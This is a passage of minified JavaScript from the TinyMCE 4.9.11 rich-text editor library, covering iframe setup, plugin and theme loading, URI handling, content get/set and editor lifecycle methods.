help"),l=(n=e.id,r=c,o=t.height,i=hl(e),s=ar.fromTag("iframe"),Nr(s,i),Nr(s,{id:n+"_ifr",frameBorder:"0",allowTransparency:"true",title:r}),Tr(s,{width:"100%",height:(a=o,u="number"==typeof a?a+"px":a,u||""),display:"block"}),s).dom();l.onload=function(){l.onload=null,e.fire("load")};var f,d,m,g,p=function(e,t){if(V.document.domain!==V.window.location.hostname&&fe.ie&&fe.ie<12){var n=Hh.uuid("mce");e[n]=function(){bw(e)};var r='javascript:(function(){document.open();document.domain="'+V.document.domain+'";var ed = window.parent.tinymce.get("'+e.id+'");document.write(ed.iframeHTML);document.close();ed.'+n+"(true);})()";return Cw.setAttrib(t,"src",r),!0}return!1}(e,l);return e.contentAreaContainer=t.iframeContainer,e.iframeElement=l,e.iframeHTML=(g=vl(f=e)+"<html><head>",yl(f)!==f.documentBaseUrl&&(g+='<base href="'+f.documentBaseURI.getURI()+'" />'),g+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />',d=bl(f),m=Cl(f),xl(f)&&(g+='<meta http-equiv="Content-Security-Policy" content="'+xl(f)+'" />'),g+='</head><body id="'+d+'" class="mce-content-body '+m+'" data-id="'+f.id+'"><br></body></html>'),Cw.add(t.iframeContainer,l),p},ww=function(e,t){var n=xw(e,t);t.editorContainer&&(Cw.get(t.editorContainer).style.display=e.orgDisplay,e.hidden=Cw.isHidden(t.editorContainer)),e.getElement().style.display="none",Cw.setAttrib(e.id,"aria-hidden","true"),n||bw(e)},Nw=Si.DOM,Ew=function(t,n,e){var r=_h.get(e),o=_h.urls[e]||t.documentBaseUrl.replace(/\/$/,"");if(e=Xt.trim(e),r&&-1===Xt.inArray(n,e)){if(Xt.each(_h.dependencies(e),function(e){Ew(t,n,e)}),t.plugins[e])return;try{var i=new r(t,o,t.$);(t.plugins[e]=i).init&&(i.init(t,o),n.push(e))}catch(iE){kh.pluginInitError(t,e,iE)}}},Sw=function(e){return e.replace(/^\-/,"")},Tw=function(e){return{editorContainer:e,iframeContainer:e}},kw=function(e){var t,n,r=e.getElement();return e.inline?Tw(null):(t=r,n=Nw.create("div"),Nw.insertAfter(n,t),Tw(n))},_w=function(e){var t,n,r,o,i,a,u,s,c,l,f,d=e.settings,m=e.getElement();return e.orgDisplay=m.style.display,S(d.theme)?(l=(o=e).settings,f=o.getElement(),i=l.width||Nw.getStyle(f,"width")||"100%",a=l.height||Nw.getStyle(f,"height")||f.offsetHeight,u=l.min_height||100,(s=/^[0-9\.]+(|px)$/i).test(""+i)&&(i=Math.max(parseInt(i,10),100)),s.test(""+a)&&(a=Math.max(parseInt(a,10),u)),c=o.theme.renderUI({targetNode:f,width:i,height:a,deltaWidth:l.delta_width,deltaHeight:l.delta_height}),l.content_editable||(a=(c.iframeHeight||a)+("number"==typeof a?c.deltaHeight||0:""))<u&&(a=u),c.height=a,c):D(d.theme)?(r=(t=e).getElement(),(n=t.settings.theme(t,r)).editorContainer.nodeType&&(n.editorContainer.id=n.editorContainer.id||t.id+"_parent"),n.iframeContainer&&n.iframeContainer.nodeType&&(n.iframeContainer.id=n.iframeContainer.id||t.id+"_iframecontainer"),n.height=n.iframeHeight?n.iframeHeight:r.offsetHeight,n):kw(e)},Aw=function(t){var e,n,r,o,i,a,u=t.settings,s=t.getElement();return t.rtl=u.rtl_ui||t.editorManager.i18n.rtl,t.editorManager.i18n.setCode(u.language),u.aria_label=u.aria_label||Nw.getAttrib(s,"aria-label",t.getLang("aria.rich_text_area")),t.fire("ScriptsLoaded"),o=(n=t).settings.theme,S(o)?(n.settings.theme=Sw(o),r=Ah.get(o),n.theme=new r(n,Ah.urls[o]),n.theme.init&&n.theme.init(n,Ah.urls[o]||n.documentBaseUrl.replace(/\/$/,""),n.$)):n.theme={},i=t,a=[],Xt.each(i.settings.plugins.split(/[ ,]/),function(e){Ew(i,a,Sw(e))}),e=_w(t),t.editorContainer=e.editorContainer?e.editorContainer:null,u.content_css&&Xt.each(Xt.explode(u.content_css),function(e){t.contentCSS.push(t.documentBaseURI.toAbsolute(e))}),u.content_editable?bw(t):ww(t,e)},Rw=Si.DOM,Dw=function(e){return"-"===e.charAt(0)},Ow=function(i,a){var u=Ri.ScriptLoader;!function(e,t,n,r){var o=t.settings,i=o.theme;if(S(i)){if(!Dw(i)&&!Ah.urls.hasOwnProperty(i)){var a=o.theme_url;a?Ah.load(i,t.documentBaseURI.toAbsolute(a)):Ah.load(i,"themes/"+i+"/theme"+n+".js")}e.loadQueue(function(){Ah.waitFor(i,r)})}else r()}(u,i,a,function(){var e,t,n,r,o;e=u,(n=(t=i).settings).language&&"en"!==n.language&&!n.language_url&&(n.language_url=t.editorManager.baseURL+"/langs/"+n.language+".js"),n.language_url&&!t.editorManager.i18n.data[n.language]&&e.add(n.language_url),r=i.settings,o=a,Xt.isArray(r.plugins)&&(r.plugins=r.plugins.join(" ")),Xt.each(r.external_plugins,function(e,t){_h.load(t,e),r.plugins+=" "+t}),Xt.each(r.plugins.split(/[ ,]/),function(e){if((e=Xt.trim(e))&&!_h.urls[e])if(Dw(e)){e=e.substr(1,e.length);var t=_h.dependencies(e);Xt.each(t,function(e){var t={prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"};e=_h.createUrl(t,e),_h.load(e.resource,e)})}else _h.load(e,{prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"})}),u.loadQueue(function(){i.removed||Aw(i)},i,function(e){kh.pluginLoadError(i,e[0]),i.removed||Aw(i)})})},Bw=function(t){var e=t.settings,n=t.id,r=function(){Rw.unbind(V.window,"ready",r),t.render()};if(Se.Event.domLoaded){if(t.getElement()&&fe.contentEditable){e.inline?t.inline=!0:(t.orgVisibility=t.getElement().style.visibility,t.getElement().style.visibility="hidden");var o=t.getElement().form||Rw.getParent(n,"form");o&&(t.formElement=o,e.hidden_input&&!/TEXTAREA|INPUT/i.test(t.getElement().nodeName)&&(Rw.insertAfter(Rw.create("input",{type:"hidden",name:n}),n),t.hasHiddenInput=!0),t.formEventDelegate=function(e){t.fire(e.type,e)},Rw.bind(o,"submit reset",t.formEventDelegate),t.on("reset",function(){t.setContent(t.startContent,{format:"raw"})}),!e.submit_patch||o.submit.nodeType||o.submit.length||o._mceOldSubmit||(o._mceOldSubmit=o.submit,o.submit=function(){return t.editorManager.triggerSave(),t.setDirty(!1),o._mceOldSubmit(o)})),t.windowManager=yh(t),t.notificationManager=vh(t),"xml"===e.encoding&&t.on("GetContent",function(e){e.save&&(e.content=Rw.encode(e.content))}),e.add_form_submit_trigger&&t.on("submit",function(){t.initialized&&t.save()}),e.add_unload_trigger&&(t._beforeUnload=function(){!t.initialized||t.destroyed||t.isHidden()||t.save({format:"raw",no_events:!0,set_dirty:!1})},t.editorManager.on("BeforeUnload",t._beforeUnload)),t.editorManager.add(t),Ow(t,t.suffix)}}else Rw.bind(V.window,"ready",r)},Pw=function(e,t,n){var r=e.sidebars?e.sidebars:[];r.push({name:t,settings:n}),e.sidebars=r},Iw=Xt.each,Lw=Xt.trim,Fw="source protocol authority userInfo user password host port relative path directory file query anchor".split(" "),Mw={ftp:21,http:80,https:443,mailto:25},zw=function(r,e){var t,n,o=this;if(r=Lw(r),t=(e=o.settings=e||{}).base_uri,/^([\w\-]+):([^\/]{2})/i.test(r)||/^\s*#/.test(r))o.source=r;else{var i=0===r.indexOf("//");0!==r.indexOf("/")||i||(r=(t&&t.protocol||"http")+"://mce_host"+r),/^[\w\-]*:?\/\//.test(r)||(n=e.base_uri?e.base_uri.path:new zw(V.document.location.href).directory,""==e.base_uri.protocol?r="//mce_host"+o.toAbsPath(n,r):(r=/([^#?]*)([#?]?.*)/.exec(r),r=(t&&t.protocol||"http")+"://mce_host"+o.toAbsPath(n,r[1])+r[2])),r=r.replace(/@@/g,"(mce_at)"),r=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(r),Iw(Fw,function(e,t){var n=r[t];n&&(n=n.replace(/\(mce_at\)/g,"@@")),o[e]=n}),t&&(o.protocol||(o.protocol=t.protocol),o.userInfo||(o.userInfo=t.userInfo),o.port||"mce_host"!==o.host||(o.port=t.port),o.host&&"mce_host"!==o.host||(o.host=t.host),o.source=""),i&&(o.protocol="")}};zw.prototype={setPath:function(e){e=/^(.*?)\/?(\w+)?$/.exec(e),this.path=e[0],this.directory=e[1],this.file=e[2],this.source="",this.getURI()},toRelative:function(e){var t;if("./"===e)return e;if("mce_host"!==(e=new zw(e,{base_uri:this})).host&&this.host!==e.host&&e.host||this.port!==e.port||this.protocol!==e.protocol&&""!==e.protocol)return e.getURI();var n=this.getURI(),r=e.getURI();return n===r||"/"===n.charAt(n.length-1)&&n.substr(0,n.length-1)===r?n:(t=this.toRelPath(this.path,e.path),e.query&&(t+="?"+e.query),e.anchor&&(t+="#"+e.anchor),t)},toAbsolute:function(e,t){return(e=new zw(e,{base_uri:this})).getURI(t&&this.isSameOrigin(e))},isSameOrigin:function(e){if(this.host==e.host&&this.protocol==e.protocol){if(this.port==e.port)return!0;var t=Mw[this.protocol];if(t&&(this.port||t)==(e.port||t))return!0}return!1},toRelPath:function(e,t){var n,r,o,i=0,a="";if(e=(e=e.substring(0,e.lastIndexOf("/"))).split("/"),n=t.split("/"),e.length>=n.length)for(r=0,o=e.length;r<o;r++)if(r>=n.length||e[r]!==n[r]){i=r+1;break}if(e.length<n.length)for(r=0,o=n.length;r<o;r++)if(r>=e.length||e[r]!==n[r]){i=r+1;break}if(1===i)return t;for(r=0,o=e.length-(i-1);r<o;r++)a+="../";for(r=i-1,o=n.length;r<o;r++)a+=r!==i-1?"/"+n[r]:n[r];return a},toAbsPath:function(e,t){var n,r,o,i=0,a=[];for(r=/\/$/.test(t)?"/":"",e=e.split("/"),t=t.split("/"),Iw(e,function(e){e&&a.push(e)}),e=a,n=t.length-1,a=[];0<=n;n--)0!==t[n].length&&"."!==t[n]&&(".."!==t[n]?0<i?i--:a.push(t[n]):i++);return 0!==(o=(n=e.length-i)<=0?a.reverse().join("/"):e.slice(0,n).join("/")+"/"+a.reverse().join("/")).indexOf("/")&&(o="/"+o),r&&o.lastIndexOf("/")!==o.length-1&&(o+=r),o},getURI:function(e){var t,n=this;return n.source&&!e||(t="",e||(n.protocol?t+=n.protocol+"://":t+="//",n.userInfo&&(t+=n.userInfo+"@"),n.host&&(t+=n.host),n.port&&(t+=":"+n.port)),n.path&&(t+=n.path),n.query&&(t+="?"+n.query),n.anchor&&(t+="#"+n.anchor),n.source=t),n.source}},zw.parseDataUri=function(e){var t,n;return e=decodeURIComponent(e).split(","),(n=/data:([^;]+)/.exec(e[0]))&&(t=n[1]),{type:t,data:e[1]}},zw.getDocumentBaseUrl=function(e){var t;return t=0!==e.protocol.indexOf("http")&&"file:"!==e.protocol?e.href:e.protocol+"//"+e.host+e.pathname,/^[^:]+:\/\/\/?[^\/]+\//.test(t)&&(t=t.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(t)||(t+="/")),t};var Uw=function(e,t,n){var r,o,i,a,u;if(t.format=t.format?t.format:"html",t.get=!0,t.getInner=!0,t.no_events||e.fire("BeforeGetContent",t),"raw"===t.format)r=Xt.trim(Uv.trimExternal(e.serializer,n.innerHTML));else if("text"===t.format)r=wa(n.innerText||n.textContent);else{if("tree"===t.format)return e.serializer.serialize(n,t);i=(o=e).serializer.serialize(n,t),a=Nl(o),u=new RegExp("^(<"+a+"[^>]*>( | |\\s|\xa0|<br \\/>|)<\\/"+a+">[\r\n]*|<br \\/>[\r\n]*)$"),r=i.replace(u,"")}return"text"===t.format||Ao(ar.fromDom(n))?t.content=r:t.content=Xt.trim(r),t.no_events||e.fire("GetContent",t),t.content},jw=function(e,t){t(e),e.firstChild&&jw(e.firstChild,t),e.next&&jw(e.next,t)},Vw=function(e,t,n){var r=function(e,n,t){var r={},o={},i=[];for(var a in t.firstChild&&jw(t.firstChild,function(t){z(e,function(e){e.name===t.name&&(r[e.name]?r[e.name].nodes.push(t):r[e.name]={filter:e,nodes:[t]})}),z(n,function(e){"string"==typeof t.attr(e.name)&&(o[e.name]?o[e.name].nodes.push(t):o[e.name]={filter:e,nodes:[t]})})}),r)r.hasOwnProperty(a)&&i.push(r[a]);for(var a in o)o.hasOwnProperty(a)&&i.push(o[a]);return i}(e,t,n);z(r,function(t){z(t.filter.callbacks,function(e){e(t.nodes,t.filter.name,{})})})},Hw=function(e){return e instanceof sb},qw=function(e,t){var r;e.dom.setHTML(e.getBody(),t),sh(r=e)&&sc.firstPositionIn(r.getBody()).each(function(e){var t=e.getNode(),n=jo.isTable(t)?sc.firstPositionIn(t).getOr(e):e;r.selection.setRng(n.toRange())})},$w=function(u,s,c){return void 0===c&&(c={}),c.format=c.format?c.format:"html",c.set=!0,c.content=Hw(s)?"":s,Hw(s)||c.no_events||(u.fire("BeforeSetContent",c),s=c.content),_.from(u.getBody()).fold(q(s),function(e){return Hw(s)?function(e,t,n,r){Vw(e.parser.getNodeFilters(),e.parser.getAttributeFilters(),n);var o=al({validate:e.validate},e.schema).serialize(n);return r.content=Ao(ar.fromDom(t))?o:Xt.trim(o),qw(e,r.content),r.no_events||e.fire("SetContent",r),n}(u,e,s,c):(t=u,n=e,o=c,0===(r=s).length||/^\s+$/.test(r)?(a='<br data-mce-bogus="1">',"TABLE"===n.nodeName?r="<tr><td>"+a+"</td></tr>":/^(UL|OL)$/.test(n.nodeName)&&(r="<li>"+a+"</li>"),(i=Nl(t))&&t.schema.isValidChild(n.nodeName.toLowerCase(),i.toLowerCase())?(r=a,r=t.dom.createHTML(i,t.settings.forced_root_block_attrs,r)):r||(r='<br data-mce-bogus="1">'),qw(t,r),t.fire("SetContent",o)):("raw"!==o.format&&(r=al({validate:t.validate},t.schema).serialize(t.parser.parse(r,{isRootContent:!0,insert:!0}))),o.content=Ao(ar.fromDom(n))?r:Xt.trim(r),qw(t,o.content),o.no_events||t.fire("SetContent",o)),o.content);var t,n,r,o,i,a})},Ww=Si.DOM,Kw=function(e){return _.from(e).each(function(e){return e.destroy()})},Xw=function(e){if(!e.removed){var t=e._selectionOverrides,n=e.editorUpload,r=e.getBody(),o=e.getElement();r&&e.save({is_removing:!0}),e.removed=!0,e.unbindAllNativeEvents(),e.hasHiddenInput&&o&&Ww.remove(o.nextSibling),Np(e),e.editorManager.remove(e),!e.inline&&r&&(i=e,Ww.setStyle(i.id,"display",i.orgDisplay)),Ep(e),Ww.remove(e.getContainer()),Kw(t),Kw(n),e.destroy()}var i},Yw=function(e,t){var n,r,o,i=e.selection,a=e.dom;e.destroyed||(t||e.removed?(t||(e.editorManager.off("beforeunload",e._beforeUnload),e.theme&&e.theme.destroy&&e.theme.destroy(),Kw(i),Kw(a)),(r=(n=e).formElement)&&(r._mceOldSubmit&&(r.submit=r._mceOldSubmit,r._mceOldSubmit=null),Ww.unbind(r,"submit reset",n.formEventDelegate)),(o=e).contentAreaContainer=o.formElement=o.container=o.editorContainer=null,o.bodyElement=o.contentDocument=o.contentWindow=null,o.iframeElement=o.targetElm=null,o.selection&&(o.selection=o.selection.win=o.selection.dom=o.selection.dom.doc=null),e.destroyed=!0):e.remove())},Gw=Si.DOM,Jw=Xt.extend,Qw=Xt.each,Zw=Xt.resolve,eN=fe.ie,tN=function(e,t,n){var r,o,i,a,u,s,c,l=this,f=l.documentBaseUrl=n.documentBaseURL,d=n.baseURI;r=l,o=e,i=f,a=n.defaultSettings,u=t,c={id:o,theme:"modern",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:i,add_form_submit_trigger:!0,submit_patch:!0,add_unload_trigger:!0,convert_urls:!0,relative_urls:!0,remove_script_host:!0,object_resizing:!0,doctype:"<!DOCTYPE html>",visual:!0,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",forced_root_block:"p",hidden_input:!0,render_ui:!0,indentation:"40px",inline_styles:!0,convert_fonts_to_spans:!0,indent:"simple",indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",entity_encoding:"named",url_converter:(s=r).convertURL,url_converter_scope:s,ie7_compat:!0},t=$p(zp,c,a,u),l.settings=t,Bi.language=t.language||"en",Bi.languageLoad=t.language_load,Bi.baseURL=n.baseURL,l.id=e,l.setDirty(!1),l.plugins={},l.documentBaseURI=new zw(t.document_base_url,{base_uri:d}),l.baseURI=d,l.contentCSS=[],l.contentStyles=[],l.shortcuts=new Qp(l),l.loadedCSS={},l.editorCommands=new pp(l),l.suffix=n.suffix,l.editorManager=n,l.inline=t.inline,l.buttons={},l.menuItems={},t.cache_suffix&&(fe.cacheSuffix=t.cache_suffix.replace(/^[\?\&]+/,"")),!1===t.override_viewport&&(fe.overrideViewPort=!1),n.fire("SetupEditor",{editor:l}),l.execCallback("setup",l),l.$=gn.overrideDefaults(function(){return{context:l.inline?l.getBody():l.getDoc(),element:l.getBody()}})};Jw(tN.prototype={render:function(){Bw(this)},focus:function(e){uh(this,e)},hasFocus:function(){return sh(this)},execCallback:function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r,o=this.settings[e];if(o)return this.callbackLookup&&(r=this.callbackLookup[e])&&(o=r.func,r=r.scope),"string"==typeof o&&(r=(r=o.replace(/\.\w+$/,""))?Zw(r):0,o=Zw(o),this.callbackLookup=this.callbackLookup||{},this.callbackLookup[e]={func:o,scope:r}),o.apply(r||this,Array.prototype.slice.call(arguments,1))},translate:function(e){if(e&&Xt.is(e,"string")){var n=this.settings.language||"en",r=this.editorManager.i18n;e=r.data[n+"."+e]||e.replace(/\{\#([^\}]+)\}/g,function(e,t){return r.data[n+"."+t]||"{#"+t+"}"})}return this.editorManager.translate(e)},getLang:function(e,t){return this.editorManager.i18n.data[(this.settings.language||"en")+"."+e]||(t!==undefined?t:"{#"+e+"}")},getParam:function(e,t,n){return Kp(this,e,t,n)},nodeChanged:function(e){this._nodeChangeDispatcher.nodeChanged(e)},addButton:function(e,t){var n=this;t.cmd&&(t.onclick=function(){n.execCommand(t.cmd)}),t.stateSelector&&"undefined"==typeof t.active&&(t.active=!1),t.text||t.icon||(t.icon=e),t.tooltip=t.tooltip||t.title,n.buttons[e]=t},addSidebar:function(e,t){return Pw(this,e,t)},addMenuItem:function(e,t){var n=this;t.cmd&&(t.onclick=function(){n.execCommand(t.cmd)}),n.menuItems[e]=t},addContextToolbar:function(e,t){var n,r=this;r.contextToolbars=r.contextToolbars||[],"string"==typeof e&&(n=e,e=function(e){return r.dom.is(e,n)}),r.contextToolbars.push({id:Hh.uuid("mcet"),predicate:e,items:t})},addCommand:function(e,t,n){this.editorCommands.addCommand(e,t,n)},addQueryStateHandler:function(e,t,n){this.editorCommands.addQueryStateHandler(e,t,n)},addQueryValueHandler:function(e,t,n){this.editorCommands.addQueryValueHandler(e,t,n)},addShortcut:function(e,t,n,r){this.shortcuts.add(e,t,n,r)},execCommand:function(e,t,n,r){return this.editorCommands.execCommand(e,t,n,r)},queryCommandState:function(e){return this.editorCommands.queryCommandState(e)},queryCommandValue:function(e){return this.editorCommands.queryCommandValue(e)},queryCommandSupported:function(e){return this.editorCommands.queryCommandSupported(e)},show:function(){this.hidden&&(this.hidden=!1,this.inline?this.getBody().contentEditable=!0:(Gw.show(this.getContainer()),Gw.hide(this.id)),this.load(),this.fire("show"))},hide:function(){var e=this,t=e.getDoc();e.hidden||(eN&&t&&!e.inline&&t.execCommand("SelectAll"),e.save(),e.inline?(e.getBody().contentEditable=!1,e===e.editorManager.focusedEditor&&(e.editorManager.focusedEditor=null)):(Gw.hide(e.getContainer()),Gw.setStyle(e.id,"display",e.orgDisplay)),e.hidden=!0,e.fire("hide"))},isHidden:function(){return!!this.hidden},setProgressState:function(e,t){this.fire("ProgressState",{state:e,time:t})},load:function(e){var t,n=this.getElement();return this.removed?"":n?((e=e||{}).load=!0,t=this.setContent(n.value!==undefined?n.value:n.innerHTML,e),e.element=n,e.no_events||this.fire("LoadContent",e),e.element=n=null,t):void 0},save:function(e){var t,n,r=this,o=r.getElement();if(o&&r.initialized&&!r.removed)return(e=e||{}).save=!0,e.element=o,e.content=r.getContent(e),e.no_events||r.fire("SaveContent",e),"raw"===e.format&&r.fire("RawSaveContent",e),t=e.content,/TEXTAREA|INPUT/i.test(o.nodeName)?o.value=t:(!e.is_removing&&r.inline||(o.innerHTML=t),(n=Gw.getParent(r.id,"form"))&&Qw(n.elements,function(e){if(e.name===r.id)return e.value=t,!1})),e.element=o=null,!1!==e.set_dirty&&r.setDirty(!1),t},setContent:function(e,t){return $w(this,e,t)},getContent:function(e){return t=this,void 0===(n=e)&&(n={}),_.from(t.getBody()).fold(q("tree"===n.format?new sb("body",11):""),function(e){return Uw(t,n,e)});var t,n},insertContent:function(e,t){t&&(e=Jw({content:e},t)),this.execCommand("mceInsertContent",!1,e)},isDirty:function(){return!this.isNotDirty},setDirty:function(e){var t=!this.isNotDirty;this.isNotDirty=!e,e&&e!==t&&this.fire("dirty")},setMode:function(e){var t,n;(n=e)!==Dp(t=this)&&(t.initialized?Rp(t,"readonly"===n):t.on("init",function(){Rp(t,"readonly"===n)}),Sp(t,n))},getContainer:function(){return this.container||(this.container=Gw.get(this.editorContainer||this.id+"_parent")),this.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return this.targetElm||(this.targetElm=Gw.get(this.id)),this.targetElm},getWin:function(){var e;return this.contentWindow||(e=this.iframeElement)&&(this.contentWindow=e.contentWindow),this.contentWindow},getDoc:function(){var e;return this.contentDocument||(e=this.getWin())&&(this.contentDocument=e.document),this.contentDocument},getBody:function(){var e=this.getDoc();return this.bodyElement||(e?e.body:null)},convertURL:function(e,t,n){var r=this.settings;return r.urlconverter_callback?this.execCallback("urlconverter_callback",e,n,!0,t):!r.convert_urls||n&&"LINK"===n.nodeName||0===e.indexOf("file:")||0===e.length?e:r.relative_urls?this.documentBaseURI.toRelative(e):e=this.documentBaseURI.toAbsolute(e,r.remove_script_host)},addVisual:function(e){var n,r=this,o=r.settings,i=r.dom;e=e||r.getBody(),r.hasVisual===undefined&&(r.hasVisual=o.visual),Qw(i.select("table,a",e),function(e){var t;switch(e.nodeName){case"TABLE":return n=o.visual_table_class||"mce-item-table",void((t=i.getAttrib(e,"border"))&&"0"!==t||!r.hasVisual?i.removeClass(e,n):i.addClass(e,n));case"A":return void(i.getAttrib(e,"href")||(t=i.getAttrib(e,"name")||e.id,n=o.visual_anchor_class||"mce-item-anchor",t&&r.hasVisual?i.addClass(e,n):i.removeClass(e,n)))}}),r.fire("VisualAid",{element:e,hasVisual:r.hasVisual})},remove:function(){Xw(this)},destroy:function(e){Yw(this,e)},uploadImages:function(e){return this.editorUpload.uploadImages(e)},_scanForImages:function(){return this.editorUpload.scanForImages()}},Fp);var nN,rN,oN,iN={isEditorUIElement:function(e){return-1!==e.className.toString().indexOf("mce-")}},aN=function(n,e){var t,r;or.detect().browser.isIE()?(r=n).on("focusout",function(){ip(r)}):(t=e,n.on("mouseup touchend",function(e){t.throttle()})),n.on("keyup nodechange",function(e){var t;"nodechange"===(t=e).type&&t.selectionChange||ip(n)})},uN=function(e){var t,n,r,o=Vi(function(){ip(e)},0);e.inline&&(t=e,n=o,r=function(){n.throttle()},Si.DOM.bind(V.document,"mouseup",r),t.on("remove",function(){Si.DOM.unbind(V.document,"mouseup",r)})),e.on("init",function(){aN(e,o)}),e.on("remove",function(){o.cancel()})},sN=Si.DOM,cN=function(e){return iN.isEditorUIElement(e)},lN=function(t,e){var n=t?t.settings.custom_ui_selector:"";return null!==sN.getParent(e,function(e){return cN(e)||!!n&&t.dom.is(e,n)})},fN=function(r,e){var t=e.editor;uN(t),t.on("focusin",function(){var e=r.focusedEditor;e!==this&&(e&&e.fire("blur",{focusedEditor:this}),r.setActive(this),(r.focusedEditor=this).fire("focus",{blurredEditor:e}),this.focus(!0))}),t.on("focusout",function(){var t=this;he.setEditorTimeout(t,function(){var e=r.focusedEditor;lN(t,function(){try{return V.document.activeElement}catch(e){return V.document.body}}())||e!==t||(t.fire("blur",{focusedEditor:null}),r.focusedEditor=null)})}),nN||(nN=function(e){var t,n=r.activeEditor;t=e.target,n&&t.ownerDocument===V.document&&(t===V.document.body||lN(n,t)||r.focusedEditor!==n||(n.fire("blur",{focusedEditor:null}),r.focusedEditor=null))},sN.bind(V.document,"focusin",nN))},dN=function(e,t){e.focusedEditor===t.editor&&(e.focusedEditor=null),e.activeEditor||(sN.unbind(V.document,"focusin",nN),nN=null)},mN=function(e){e.on("AddEditor",d(fN,e)),e.on("RemoveEditor",d(dN,e))},gN=Si.DOM,pN=Xt.explode,hN=Xt.each,vN=Xt.extend,yN=0,bN=!1,CN=[],xN=[],wN=function(t){var n=t.type;hN(oN.get(),function(e){switch(n){case"scroll":e.fire("ScrollWindow",t);break;case"resize":e.fire("ResizeWindow",t)}})},NN=function(e){e!==bN&&(e?gn(window).on("resize scroll",wN):gn(window).off("resize scroll",wN),bN=e)},EN=function(t){var e=xN;delete CN[t.id];for(var n=0;n<CN.length;n++)if(CN[n]===t){CN.splice(n,1);break}return xN=U(xN,function(e){return t!==e}),oN.activeEditor===t&&(oN.activeEditor=0<xN.length?xN[0]:null),oN.focusedEditor===t&&(oN.focusedEditor=null),e.length!==xN.length};vN(oN={defaultSettings:{},$:gn,majorVersion:"4",minorVersion:"9.11",releaseDate:"2020-07-13",editors:CN,i18n:xh,activeEditor:null,settings:{},setup:function(){var e,t,n="";t=zw.getDocumentBaseUrl(V.document.location),/^[^:]+:\/\/\/?[^\/]+\//.test(t)&&(t=t.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(t)||(t+="/"));var r=window.tinymce||window.tinyMCEPreInit;if(r)e=r.base||r.baseURL,n=r.suffix;else{for(var o=V.document.getElementsByTagName("script"),i=0;i<o.length;i++){var a;if(""!==(a=o[i].src||"")){var u=a.substring(a.lastIndexOf("/"));if(/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(a)){-1!==u.indexOf(".min")&&(n=".min"),e=a.substring(0,a.lastIndexOf("/"));break}}}!e&&V.document.currentScript&&(-1!==(a=V.document.currentScript.src).indexOf(".min")&&(n=".min"),e=a.substring(0,a.lastIndexOf("/")))}this.baseURL=new zw(t).toAbsolute(e),this.documentBaseURL=t,this.baseURI=new zw(this.baseURL),this.suffix=n,mN(this)},overrideDefaults:function(e){var t,n;(t=e.base_url)&&(this.baseURL=new zw(this.documentBaseURL).toAbsolute(t.replace(/\/+$/,"")),this.baseURI=new zw(this.baseURL)),n=e.suffix,e.suffix&&(this.suffix=n);var r=(this.defaultSettings=e).plugin_base_urls;for(var o in r)Bi.PluginManager.urls[o]=r[o]},init:function(r){var n,u,s=this;u=Xt.makeMap("area base basefont br col frame hr img input isindex link meta param embed source wbr track colgroup option tbody tfoot thead tr script noscript style textarea video audio iframe object menu"," ");var c=function(e){var t=e.id;return t||(t=(t=e.name)&&!gN.get(t)?e.name:gN.uniqueId(),e.setAttribute("id",t)),t},l=function(e,t){return t.constructor===RegExp?t.test(e.className):gN.hasClass(e,t)},f=function(e){n=e},e=function(){var o,i=0,a=[],n=function(e,t,n){var r=new tN(e,t,s);a.push(r),r.on("init",function(){++i===o.length&&f(a)}),r.targetElm=r.targetElm||n,r.render()};gN.unbind(window,"ready",e),function(e){var t=r[e];t&&t.apply(s,Array.prototype.slice.call(arguments,2))}("onpageload"),o=gn.unique(function(t){var e,n=[];if(fe.ie&&fe.ie<11)return kh.initError("TinyMCE does not support the browser you are using. For a list of supported browsers please see: https://www.tinymce.com/docs/get-started/system-requirements/"),[];if(t.types)return hN(t.types,function(e){n=n.concat(gN.select(e.selector))}),n;if(t.selector)return gN.select(t.selector);if(t.target)return[t.target];switch(t.mode){case"exact":0<(e=t.elements||"").length&&hN(pN(e),function(t){var e;(e=gN.get(t))?n.push(e):hN(V.document.forms,function(e){hN(e.elements,function(e){e.name===t&&(t="mce_editor_"+yN++,gN.setAttrib(e,"id",t),n.push(e))})})});break;case"textareas":case"specific_textareas":hN(gN.select("textarea"),function(e){t.editor_deselector&&l(e,t.editor_deselector)||t.editor_selector&&!l(e,t.editor_selector)||n.push(e)})}return n}(r)),r.types?hN(r.types,function(t){Xt.each(o,function(e){return!gN.is(e,t.selector)||(n(c(e),vN({},r,t),e),!1)})}):(Xt.each(o,function(e){var t;(t=s.get(e.id))&&t.initialized&&!(t.getContainer()||t.getBody()).parentNode&&(EN(t),t.unbindAllNativeEvents(),t.destroy(!0),t.removed=!0,t=null)}),0===(o=Xt.grep(o,function(e){return!s.get(e.id)})).length?f([]):hN(o,function(e){var t;t=e,r.inline&&t.tagName.toLowerCase()in u?kh.initError("Could not initialize inline editor on invalid inline target element",e):n(c(e),r,e)}))};return s.settings=r,gN.bind(window,"ready",e),new de(function(t){n?t(n):f=function(e){t(e)}})},get:function(t){return 0===arguments.length?xN.slice(0):S(t)?X(xN,function(e){return e.id===t}).getOr(null):O(t)&&xN[t]?xN[t]:null},add:function(e){var t=this;return 